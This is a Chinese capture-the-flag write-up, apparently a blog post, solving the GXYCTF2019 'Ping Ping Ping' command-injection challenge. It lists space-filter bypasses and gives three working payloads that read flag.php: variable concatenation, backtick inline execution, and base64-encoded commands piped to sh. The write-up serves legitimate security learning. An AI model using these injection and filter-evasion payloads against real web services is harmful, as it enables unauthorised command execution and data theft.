目录

审题

常用的空格绕过方法

解决方法

法一        拼接绕过法

法二        内联执行法

法三        sh编码绕过法


审题

点开链接

根据题目提示随便试试构造payload

inurl?ip=666

 有返回,参数ip的值就是要ping的内容

这里我们知道有Windows和Linux通用的命令分隔符%0a、| 、& 、 ;

; : 命令1 ; 命令2                  ——先执行命令1再执行命令2

& :命令1 & 命令2              ——先执行命令1再执行命令2

| : 命令1 & 命令2               ——只执行命令2

先试试看Windows特有的命令dir,使用分隔符|

构造payload  , inurl?ip=127.0.0.1 | dir

  emmm,好像是空格符被过滤掉了,把空格符删去再试试看

没反应,操作系统应该不是Windows了,输入命令ls,查看当前目录的文件 

 找到了放flag的文件,但是要打开该文件得用到命令cat flag.php , 必须绕过空格过滤

常用的空格绕过方法

$IFS              

$IFS$6                               ——后面的数字6换成其他数字也行

${IFS} 

<

<>

{cat,flag.php}                      ——这里把,替换成了空格键

%20                                     ——代表space键

%09                                     ——代表Tab键

不着急,先试着打开index.php查看过滤方法

使用命令cat$IFS$6index.php

接着查看网站源码 

what's up 好多绕过的方法都被过滤了

解决方法


法一        拼接绕过法

这个方法主要是绕过对flag正则匹配的检测,有点悬,目前好像只能拼接末尾的g\ag\lag,我也不太清楚为啥

将lag替换成x,绕过对flag的正匹检测,构建payload

inurl?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php

查看网站源码后得到flag


法二        内联执行法

可以看到代码没有过滤掉符号`  , 所以可以利用内联执行的方式直接打开flag文件

先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 

inurl?ip=127.0.0.1;cat$IFS$6`ls`

再查看源码后拿到flag


法三        sh编码绕过法

使用方法

echo 命令编码|base64 -d|sh

  •  sh可以换成bash , 但是题目过滤掉了
  • 也可以换成其他的编码形式,这里用base64的
  • 空格用$IFS$6替换掉
  • cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

构造payload  , 相当于执行命令cat flag.php

inurl?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

再查看网站源码,拿到flag


参考文章:

[GXYCTF2019]Ping Ping Ping_satasun的博客-CSDN博客

[GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客

linux常见绕过方法_wojiushilsy的博客-CSDN博客

Linux/CTF命令注入及绕过_Mr_Shiyang的博客-CSDN博客_linux 命令注入绕过

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐